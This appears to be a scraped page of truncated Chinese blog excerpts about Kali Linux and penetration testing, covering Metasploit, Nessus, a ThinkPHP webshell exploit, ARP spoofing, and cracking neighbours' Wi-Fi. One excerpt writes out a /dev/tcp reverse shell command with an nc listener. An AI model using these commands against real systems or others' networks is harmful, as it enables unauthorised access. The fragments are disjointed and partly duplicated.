前言Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。(来自百度百科)总之是一款非常优秀的开源渗透测试框架。安装Metasploit本文只讨论在Linux系统下的安装,包括Ubuntu、Centos、Deepin等,读者可以直接安装Kali操作系统,上面

前言：新搬的地方还没有安装WIFI，流量手机流量快烧完了，看着附近的WIFI，很是心动。于是上网搜索了一下教程进行试验，试验过程和结果，仅作为学习记录。试验环境：1.台式机2.Kali虚拟机3.无线网卡4.菜鸡一只试验过程：一、无线网卡安排1.主机USB接口直接怼入无线网卡，Kali虚拟机弹窗提示，选择连接到虚拟机，选中Kali，点击确定。（看

下载地址：http://git.oschina.net/luoyedao/viuSQL下载github https://github.com/luoyedao/viuSQL安装环境，环境：   centos7 kali   web：  django1.8.3 bootstrap(不需要安装，但是要联网)   软件：

1、准备（1）获得激活码地址：https://zhcn.tenable.com/products/nessus/nessusessentialshttps://zhcn.tenable.com/products/nessus/activationcode?tns\_redirecttrue(https://zhcn.tenable

前言先说说KaliLinux的一个问题，有些同学问我Kali环境怎么搭，他弄了好久都没配置好，安装过程老出错，我感觉非常惊讶。Kali虽然是点历史遗留问题，我在几年前玩的时候用ISO文件搭建也真的有很多坑，但是现在都阔以下载虚拟机版本的KaliVM呀，下载完一导入，改一下网卡，开箱即用。我把这个方法告诉他之后，他的表情是：还能这样操作？

打完再来写前面打靶机，一小时，写博客，一晚上，还没写完真不错网络渗透测试实验四：WebDeveloper靶机rootshell首先自然是下载好靶机，放VMware里，在此感谢大佬同学提供的校内网盘，下载速度很快，孩子很喜欢本次实验的网络环境是把主攻手：kali和受害主机：WebDeveloper放在了同一个网段，都用NAT模式接入网络靶机开

因为写入的文件名包含特殊符号，所以该漏洞只能在Linux中写入webshell，不能在Windows系统写入。这个漏洞的重点在于体会ThinkPHP的反序列化利用链。演示环境：Kali、ThinkPHP/5.0.24演示代码：application/index/controller/Index.php<?p

起因学习Kali一段时间，每次下载安装软件速度都特别慢，一直是几十KB每秒，而且我已经更换了国内的中科大和阿里云的镜像源了，但还是那么慢，受不了这速度，然后我发现了如果你们想不用代理的话可以在早上11点前进行下载安装Kali的一些软件，我设置代理之前都是这样操作来过上一段日子的。然后我决定往这个代理方向研究，有一个想法就是能不能通过代理下载Kali的一些

下载卡莉Linux(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Fkali.training%2Ftopic%2Fdownloadingkalilinux%2F)官方镜像：https://www.kali.org/downloads/(https://www.

KaliLinux官网：https://www.kali.org/(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Fwww.kali.org%2F)KaliLinux前身是著名渗透测试系统BackTrack，是一个基于Debian的Linux发行版，包含很多安全

实验环境CentOS6.5：192.168.0.3kali2.0：192.168.0.4方法1：反弹shell命令如下：bashi&/dev/tcp/ip/port0&1首先，使用nc在kali上监听端口：nclvp7777!0DdE723LF1.png(h

原文:2020年kali最新国内更新源sources.list(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Fblog.csdn.net%2Fkey_nothing%2Farticle%2Fdetails%2F90055845)打开sources.list文件命令：

　　本篇将简单介绍下Nessus的扫描策略设置、选用plugins及如何使用定制的策略来进行扫描任务。Step1: 　　启动Nessus服务root@kali:~/etc/init.d/nessusdstart　　登录：https://kali:8834/，输入正确的账号/密码之后，会自动跳转到如下：（右键图片查看更清晰哦

!Taven.Li李锡远KaliNetHunter(https://oscimg.oschina.net/oscnet/up8f1d6efdc44bf056185f4151f21a642a06a.png)准备工作准备手机一台：Nexus6P进入bootloader模式原系统，开开发者模式，开USB调试后，插USB线，然

1root@kali:~/文档arpspoofieth0t172.20.151.172.20.151.1234:64:a9:36:4:b70:0:0:0:0:0080642:arpreply172.20.151.1isat34:64:a9:36:4:b7334:64:a9:36:4

流程需求  （1）VM虚拟机：VMwareWorkstation15.5（2）Kali系统镜像https://www.kali.org/(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Fwww.kali.org%2F)虚拟机配置部

001：0trace、tcptraceroute、traceroute描述：进行路径枚举时，传统基于ICMP协议的探测工具经常会受到屏蔽，造成探测结果不够全面的问题。与此相对基于TCP协议的探测，则成功率会有所提高，同时基于已经建立的合法TCP会话的探测则更具优势，甚至可以探测到目标内网。虽然没有银弹，但结合多种技术手段，则可以收集更加完整的目标信息，为后

原文:2020年kali最新国内更新源sources.list(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Fblog.csdn.net%2Fkey_nothing%2Farticle%2Fdetails%2F90055845)打开sources.list文件命令：

Linux下的用户管理用户信息保存/etc/passwd,一般用户都有读的权限真正的用户：修改密码，可以登录伪用户：应用程序在运行时会以某种权限来运行，并使用程序名来表示该程序，并存在/etc/passwd文件中，伪用户不可以直接登录pentest(用户名):x(密码):1000(UID):1000(GID):pentest,,,(